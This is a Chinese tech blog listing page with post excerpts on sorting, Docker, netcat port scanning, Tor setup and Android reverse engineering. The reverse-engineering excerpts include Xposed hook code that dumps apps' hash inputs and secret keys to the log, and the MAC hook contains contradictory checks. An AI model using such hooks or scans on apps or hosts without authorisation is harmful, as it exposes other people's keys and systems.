//出循环说明找到了<=median的值 //如果左下表和右下标相遇说明这一轮已经找完,那么就将基值和左下标或右下标对应的值进行交换,因为有一种特殊情况会使得基值发生改变 //如果没有特殊情况交换之后也没事,因为左右下标所对应的值就是基值 if(left>=right){ temp = array[left]; array[left] = median; median = temp; break; } //交换两个值 temp = array[left]; array[left] = array[right]; array[right] = temp; //将右下标前移一位,因为右下标对应的值就是median,没必要进行再次比较,可能出现死循环 if(array[left] == median){ right--; } //将右下标前移一位,因为左下标对应的值就是median,没必要进行再次比较,可能出现死循环 if(array[right] == median){ left++; } System.out.println(Arrays.toString(array)); //左递归 QuikeSote.sote(array,0,left-1); //右递归 QuikeSote.sote(array,right+1, array.length-1); } } 从执行图中也可以看出 最后哪一行就是最终结果 ...

    2022-02-14 573
  • Python 将杂乱文件自动归类整理

    目录格式 默认的文件路径格式 \ 而 Python 里需要修改成 \\,或者在目录前面加上 r字母。 # 方法一 path = r'F:\test\文件自动归类整理' # 文件目录 # 方法二 path = 'F:\\test\\文件自动归类整理' # 文件目录 这里我使用的是方法二,来进行以下操作。 改变操作目录 首先导入 os模块,使用 os.chdir()函数,打开目录,再使用 os.getchd()函数,查看当前目录,进行确认。 import os # 导入os模块 path = r'F:\test\文件自动归类整理' # 文件目录 os.chdir(path) # 打开目录 print(os.getcwd()) # 输出:F:\test\文件自动归类整理 改变操作目录 当目录确认好后,再使用 os.listdir()函数,获取目录下所有的文件 import os # 导入 os 模块 path = r'F:\test\文件自动归类整理' # 文件目录 os.chdir(path) # 打开目录 # 获取目录下所有文件 contents = os.listdir() for content in contents: print(content) # 输出: # 备忘 # 开心 2.jpg # 开心.jpg # 心情日记.docx # 现场留言.mp3 还没写完... ...

    2022-02-14 545
  • 利用宝塔面板计划任务执行自动推送网址到百度

    使用 在网站根目录新建一个文件夹,在文件夹新建一个 PHP 文件,填写网站 sitemap.xml 地址和百度的推送接口,把文件地址添加到宝塔定时任务,选择访问 URL,自定义执行时间后,保存即可。 代码 <?php header('Content-Type:text/html;charset=utf-8'); $xmldata =file_get_contents("https://自己网站/sitemap.xml"); $xmlstring = simplexml_load_string($xmldata,'SimpleXMLElement',LIBXML_NOCDATA); $value_array = json_decode(json_encode($xmlstring),true); $url = []; for ($i =0;$i < count($value_array['url']);$i++){ echo $value_array['url'][$i]['loc']."<br/>"; $url[]= $value_array['url'][$i]['loc']; } $api ='百度站长的推送接口'; $ch = curl_init(); $options = array( CURLOPT_URL => $api, CURLOPT_POST => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_POSTFIELDS => implode("\n",$url), CURLOPT_HTTPHEADER => array('Content-Type:text/plain'), ); curl_setopt_array($ch, $options); $result =curl_exec($ch); echo $result; ?> 成功 成功会返回 {"remain": 今日剩余数,"success": 推送成功数} 的。 ...

    2022-02-12 540
  • docker基础操作

    docker 常用命令展开目录 docker pull hello-world 拉取hello-world镜像 docker images 查看当前docker镜像 docker stop $(docker ps -a -q) 停止所有的 container,这样才能够删除其中的 images: 修改 Docker 镜像服务器的方法展开目录 Docker Hub 是我们分发和获取 Docker 镜像的中心,但由于服务器位于海外,经常会出现拉取 / 上传镜像时速度太慢或无法访问的情况。可以尝试改用国内的 Docker Hub 镜像服务器。 具体步骤 编辑 /etc/docker/daemon.json 配置文件 创建配置文件目录 $ sudo mkdir /etc/docker 编辑配置文件,如果文件不存在,以下命令会自动创建。 $ sudo nano /etc/docker/daemon.json 将配置信息粘贴到配置文件中,配置信息为 json 格式,可以根据实际需要设置多个国内的镜像服务器。 { "registry-mirrors": [ "https://hub-mirror.c.163.com", "https://mirror.baidubce.com" ] } 重启 Docker 服务 $ sudo systemctl daemon-reload $ sudo systemctl restart docker 检查设置是否生效 $ sudo docker info 结果中显示了我们设置的镜像服务器地址,则说明设置已经生效,返回的信息类似下面这样: Registry Mirrors: https://hub-mirror.c.163.com/ docker 拉镜像的几个阶段说明展开目录 一般我们使用 docker 拉取镜像时候会经历几个阶段,等待、拉取开始、下载成功、检验、拉取成功: Waiting Pulling fs layer Download complete Verifying Checksum Pull complete 其中 Pull complete 和 Download complete 区别: Pull complete Download complete When pulling a remote docker image, you can see that the layers are downloaded. After a layer is downloaded, docker shows a status of extracting the image which is mainly uncompressing the layer and verifying its checksum. Once this is done the layer is maked with Pull complete. So in short, Download complete means the layer is downloaded whereas Pull complete implies that the layer was downloaded and extracted onto the host machine. Download 只是说这个镜像下载下来了,Pull complete 则是经过解压缩、校验之后导入到系统里去了! ...

    2022-02-12 452
  • 基于显卡设备不同特征,精准识别用户在线的唯一性。

    网站可以通过Cookie、浏览器用户代理、网络IP、鼠标移动和其它技术来跟踪用户,针对不同设备用户的在线活动行为做出广告以及大数据内容推送行为。 本身已经够危险了 来自法国、以色列和澳大利亚的一个国际研究小组开发了一种新技术,通过显卡指纹来精准追踪用户。 针对同样配置的电脑,采集显卡设备之间生产唯一性。 当前的实现可以在短短 8 秒内成功地对 GPU 进行指纹识别。 下一代 API可以实现更快、更准确的指纹识别。例如,WebGPU将支持通过浏览器运行的计算着色器操作。研究人员对其DrawnApart识别过程测试了一种计算着色器方法,发现不仅准确率大幅提高到 98%,而且计算解决方案的识别时间从 8 秒通过顶点着色器减少到仅 150 毫秒。...

    2022-02-04 503
  • 网络工具中的瑞士军刀nc命令

    NetCat,在网络工具中有“瑞士军刀”美誉,其有Windows和Linux的版本。因为它短小精悍(1.84版本也不过25k,旧版本或缩减版甚至更小)、功能实用,被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据。同时,它还是一个网络应用Debug分析器,因为它可以根据需要创建各种不同类型的网络连接。 netcat(简写是 nc) 是 linux 上非常有用的网络工具,它能通过 TCP 和 UDP 在网络中读写数据。通过配合使用其他工具和重定向,可以在脚本中以多种方式使用它。netcat 所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了。 安装nc yum install -y nc 用法简介 nc [-hlnruz][-g < 网关…>][-G < 指向器数目 >][-i < 延迟秒数 >][-o < 输出文件 >][-p < 通信端口 >][-s < 来源位址 >][-v…][-w < 超时秒数 >][主机名称][通信端口…] 参数说明 -g <网关> 设置路由器跃程通信网关,最丢哦可设置 8 个。 -G <指向器数目> 设置来源路由指向器,其数值为 4 的倍数。 -h 在线帮助。 -i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。 -l 使用监听模式,管控传入的资料。 -n 直接使用 IP 地址,而不通过域名服务器。 -o <输出文件> 指定文件名称,把往来传输的数据以 16 进制字码倾倒成该文件保存。 -p <通信端口> 设置本地主机使用的通信端口。 -r 乱数指定本地与远端主机的通信端口。 -s <来源位址> 设置本地主机送出数据包的 IP 地址。 -u 使用 UDP 传输协议。 -v 显示指令执行过程。 -w <超时秒数> 设置等待连线的时间。 -z 使用 0 输入 / 输出模式,只在扫描通信端口时使用。 端口扫描 nc -v -w 2 192.168.2.34 -z 21-24 //输出 nc: connect to 192.168.2.34 port 21 (tcp) failed: Connection refused Connection to 192.168.2.34 22 port [tcp/ssh] succeeded! nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refused nc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refused 文件拷贝 在192.168.2.34上 nc -l 1234 > test.txt 在192.168.2.33上 nc 192.168.2.34 < test.txt 简单聊天工具 在192.168.2.34上 nc -l 1234 在192.168.2.33上 nc 192.168.2.34 1234 这样,双方就可以相互交流了。使用 ctrl+C(或 D)退出。 用 nc 命令操作 memcached 存储数据:printf “set key 0 10 6rnresultrn” |nc 192.168.2.34 11211 获取数据:printf “get keyrn” |nc 192.168.2.34 11211 删除数据:printf “delete keyrn” |nc 192.168.2.34 11211 查看状态:printf “statsrn” |nc 192.168.2.34 11211 模拟 top 命令查看状态:watch “echo stats” |nc 192.168.2.34 11211 清空缓存:printf “flush_allrn” |nc 192.168.2.34 11211 (小心操作,清空了缓存就没了) 连接 web 服务器 //建立从本地1234端口到host.example.com的80端口连接,5秒超时 nc -p 1234 -w 5 host.example.com 80 udp 连接服务器 nc -u host.example.com 53 连接服务器并执行 echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80 指定 TCP 协议版本 netcat 的 -4 和 -6 参数用来指定 IP 地址类型,分别是 IPv4 和 IPv6: //server nc -4 -l 2389 //client nc -4 localhost 2389 禁止从标准输入中读取数据 该功能使用 -d 参数,请看下面例子: //server side  $ nc -l 2389 //client side nc -d localhost 2389 强制 Netcat 服务器端保持启动状态 通常情况下如果连接到服务端的客户端连接断开, 服务端进程也会退出, 如果想让服务端保持存活可以加一个-k的参数 //server side $ nc -k -l 2389 //client side nc localhost 2389 nc聊天 server1: [root@server1 ~]# nc -l 1234  hello! hi! server2: [root@server2 ~]# nc  192.168.200.27 1234  hello! hi!...

    2022-02-03 553
  • 关于linux安装tor(洋葱浏览器)的方法

    最近一段时期,由于各种原因,自己一直没更新,后续会一直更新的,感谢各位朋友的关注,本人还是一个小白,正在虚心向网安界的大佬学习中,大佬勿喷小白的文章,感谢!感谢! 关于Tor       “洋葱网络”Tor(全称为The Onion Router),现在已经和深网一起出现在人们的视野里。据说,这是斯诺登最喜欢登录的网络之一。“洋葱”的寓意是这一网络中的数据信息被像洋葱一般层层叠叠地保护着。   Tor的工作原理是通过多台电脑迂回发送搜索结果、聊天记录、订单信息或电子邮件,信息传输在每一步都被加密,让人无从得知信息传送的起始地和目的地。   据《彭博商业周刊》消息,全球志愿者为其提供大约5000台电脑作为传输路径上的节点掩饰新页面或聊天请求。  该消息称,Tor目前由一个美国组织运作,并得到谷歌和一些基金会的赞助。直到2011年,其60%资金来自美国政府。  据该报道,美国海军研究实验室的Paul Syverson是Tor项目的创始人之一。谈及创建初衷,他表示,美国政府最初是想保护上互联网的政府人员,特别是那些做情报搜集的分析师。  但最终使用它的人遍及全球。该消息称,Tor目前日均用户量大约为30万,而去年夏季最高峰时高达50多万。使用它的人还包括2009年总统选举后躲过政府审查,在网上传播图片和新闻的伊朗活动分子。  不仅如此,在纸牌屋第一季中就有White House的副总统助理在提到恶意发帖的问题上时候,他的朋友就告诉他说是通过Tor来进入Deep Web Forums(深网)发帖的,关于深网,这里就简单的说下。     “深网”,中文名一般翻译为“暗网”,它是指互联网中无法被搜索引擎抓取到的那部分网络。(但其实现在谷歌上已经能搜到一些暗网里比较有名的站点地址了,只是需要用特定的软件访问)。这部分网络中人气比较高的是 Tor(洋葱网络,The Onion Router)   Tor 网络上面有许多可能非法的交易网站,比如销售半价的苹果设备,***账户信息、Ebay 账号,甚至还有枪支武器、处方药品、×××(这两项的市场最大,一般都有非常详细的品种分类,飞行员们,cheers =P),你甚至还可以看到雇凶杀人的...... 一般通过比特币交易。         Tor 的网络是完全匿名的,比特币也是匿名的,交易信息他们会用 PGP 加密所以也可以保持匿名。 添加软件源: 1 2 <code class="language-bash hljs">leafpad /etc/apt/sources.list deb http://deb.torproject.org/torproject.org wheezy main</code>   安装Tor 1 apt-get install tor   启用服务 1 service tor start   使用proxychains命令和Tor,实现安全浏览: 1 <code class="language-bash hljs">proxychains iceweasel</code>   PS:如果apt-get install安装不了的话,可以使用apt-get update 和apt-get dist-upgrade升级来完成安装。   打开浏览器后,地址栏输入www.baidu.com,在搜索框中搜索“IP”,可以看下现在的地址是在哪个地区。 注:学习技术的目的是为了更好的维护我们的网络安全,而非搞非法的事情,请不要将技术用于非法途径,自觉遵守网络安全法 ...

    2022-02-03 691
  • 安卓逆向 -- 自吐算法(MAC)

    一、MAC算法源码 import javax.crypto.Macimport javax.crypto.spec.SecretKeySpecString bs= "逆向有你a";SecretKeySpec key = new SecretKeySpec("12345".getBytes(StandardCharsets.UTF_8), "HmacSHA256");//申请一个密钥,长度内容随便写Mac mac = Mac.getInstance("HmacSHA256");//告诉系统我用的加密码方式是HmacSHA256mac.init(key);byte[] macres = mac.doFinal(bs.getBytes(StandardCharsets.UTF_8));//开始加密System.out.println("HmacSHA1加密(字节):"+Arrays.toString(macres));System.out.println("HmacSHA1加密(字符串):"+bytes2HexString(macres));SecretKeySpec key1 = new SecretKeySpec("12345".getBytes(StandardCharsets.UTF_8), "HmacSHA256");//申请一个密钥,长度内容随便写Mac mac1 = Mac.getInstance("HmacSHA256");//告诉系统我用的加密码方式是HmacSHA256mac1.init(key1);mac1.update("逆向".getBytes(StandardCharsets.UTF_8));mac1.update("有你".getBytes(StandardCharsets.UTF_8));byte[] macres1 = mac1.doFinal("a".getBytes(StandardCharsets.UTF_8));System.out.println(bytes2HexString(macres1)); 二、分析源码,需hook的内容 1、hook类是javax.crypto.Mac,javax.crypto.spec.SecretKeySpec 2、hook的方法:SecretKeySpec,doFinal 三、hook源码 XposedBridge.hookAllMethods(XposedHelpers.findClass("javax.crypto.Mac", loadPackageParam.classLoader) , "doFinal", new XC_MethodHook() { @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { super.afterHookedMethod(param); Log.e("逆向有你", "Stack:", new Throwable("stack dump")); if(param.args.length==2) return; Mac mc = (Mac) param.thisObject;//实例化 String algorithm = mc.getAlgorithm();//获取加密算法的名称 if (param.args.length == 2) { byte[] params = (byte[]) param.args[0]; String data = new String(params); String datahex = b2s(params); String datab64 = Base64.encodeToString(params, 0); Log.d("逆向有你",algorithm+"data:"+data); Log.d("逆向有你",algorithm+"datahex:"+datahex); Log.d("逆向有你",algorithm+"datab64:"+datab64); } byte[] res=(byte[])param.getResult(); String reshex = b2s(res); String resb64 = Base64.encodeToString(res, 0); Log.d("逆向有你",algorithm+"resulthex:"+reshex); Log.d("逆向有你",algorithm+"resultb64:"+resb64); Log.d("逆向有你","========================================================================"); } });XposedBridge.hookAllConstructors(XposedHelpers.findClass("javax.crypto.spec.SecretKeySpec", loadPackageParam.classLoader) , new XC_MethodHook() { @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { super.afterHookedMethod(param); Log.e("逆向有你", "Stack:", new Throwable("stack dump")); byte[] secretKey = (byte[]) param.args[0]; int offset=0; int size=0; String algorithm=null; if (param.args.length != 2) { offset = ((Integer) param.args[1]).intValue(); size = ((Integer) param.args[2]).intValue(); algorithm = (String) param.args[3]; }else { size=secretKey.length; algorithm= (String) param.args[1]; } byte[] keyres=new byte[size]; System.arraycopy(secretKey,offset,keyres,0,size); String keyreshex = b2s(keyres); String keyresb64 = Base64.encodeToString(keyres, 0); Log.d("逆向有你",algorithm+"secretkey:"+new String(keyres)); Log.d("逆向有你",algorithm+"secretkeyhex:"+keyreshex); Log.d("逆向有你",algorithm+"secretkeyb64:"+keyresb64); Log.d("逆向有你","========================================================================"); } }); 四、运行结果 禁止非法,后果自负 ...

    2021-09-29 521
  • 火山中文编程 -- 温度转换

    例子:有人用温度计测量出用华氏温度98°F,现在要求用火山中文编程实现,把它转换为以摄氏法表示的温度。 分析:摄氏度=(5/9)*(华氏度-32) 一、新建MFC窗口,设置好布局 二、编写代码 三、运行结果 四、知识点 5/9运行的结果是整数,所以最后结果为0 5.0/9运行的结果是小数 ...

    2021-09-29 484
  • 安卓逆向 -- 自吐算法(MD5和SHA)

    一、主要框架,hook代码主要填写在try代码块里 package com.bucuo.a20210908; import android.app.Application;import android.content.Context;import android.util.Log;import de.robv.android.xposed.IXposedHookLoadPackage;import de.robv.android.xposed.XposedBridge;import de.robv.android.xposed.callbacks.XC_LoadPackage.LoadPackageParam;import static de.robv.android.xposed.XposedHelpers.findAndHookMethod;import de.robv.android.xposed.IXposedHookLoadPackage;import de.robv.android.xposed.XC_MethodHook;import de.robv.android.xposed.callbacks.XC_LoadPackage.LoadPackageParam; public class hook implements IXposedHookLoadPackage { public void handleLoadPackage(final LoadPackageParam loadPackageParam) throws Throwable { Log.d("逆向有你", "hook成功"); try{ }catch (Exception e){ e.printStackTrace(); } } public String b2s(byte[] bt){ StringBuffer sb=new StringBuffer(); int i=0; while (i<bt.length){ int k=bt[i]; int j=k; if (k<0){ j=k+256; } if (j<16){ sb.append("0"); } sb.append(Integer.toHexString(j)); i+=1; } return sb.toString(); }} 二、MD5算法实现源码(SHA算法同理) import java.security.MessageDigest; String bs= "逆向有你a";MessageDigest md=MessageDigest.getInstance("MD5");//我要用md5算法md.update(bs.getBytes());//我要加密的数据byte[] res = md.digest();//给我加密System.out.println("MD5加密(字节):"+Arrays.toString(res));System.out.println("MD5加密(字符串):"+bytes2HexString(res)); MessageDigest mdmd = MessageDigest.getInstance("MD5");mdmd.update("逆向".getBytes(StandardCharsets.UTF_8));mdmd.update("有你".getBytes(StandardCharsets.UTF_8));byte[] mdmdres = mdmd.digest("a".getBytes(StandardCharsets.UTF_8));System.out.println(bytes2HexString(mdmdres)); 三、分析要hook的地方 1、hook的类就是导入的包,即“java.security.MessageDigest” 2、update可以使用多次(如果hook这里会无限循环), digest只能使用一次(这里是hook点) 四、知道hook的类及方法名,开始编写代码 XposedBridge.hookAllMethods(XposedHelpers.findClass("java.security.MessageDigest", loadPackageParam.classLoader) , "digest", new XC_MethodHook() { @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { super.afterHookedMethod(param); Log.e("逆向有你", "Stack:", new Throwable("stack dump")); MessageDigest md = (MessageDigest) param.thisObject;//实例化 String algorithm = md.getAlgorithm();//获取加密算法的名称 if (param.args.length >= 1) { byte[] params = (byte[]) param.args[0]; String data = new String(params); String datahex = b2s(params); String datab64 = Base64.encodeToString(params, 0); Log.d("逆向有你",algorithm+"data:"+data); Log.d("逆向有你",algorithm+"datahex:"+datahex); Log.d("逆向有你",algorithm+"datab63:"+datab64); } byte[] res=(byte[])param.getResult(); String reshex = b2s(res); String resb64 = Base64.encodeToString(res, 0); Log.d("逆向有你",algorithm+"resulthex:"+reshex); Log.d("逆向有你",algorithm+"resultb64:"+resb64); Log.d("逆向有你","========================================================================"); } }); 禁止非法,后果自负 ...

    2021-09-29 508

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注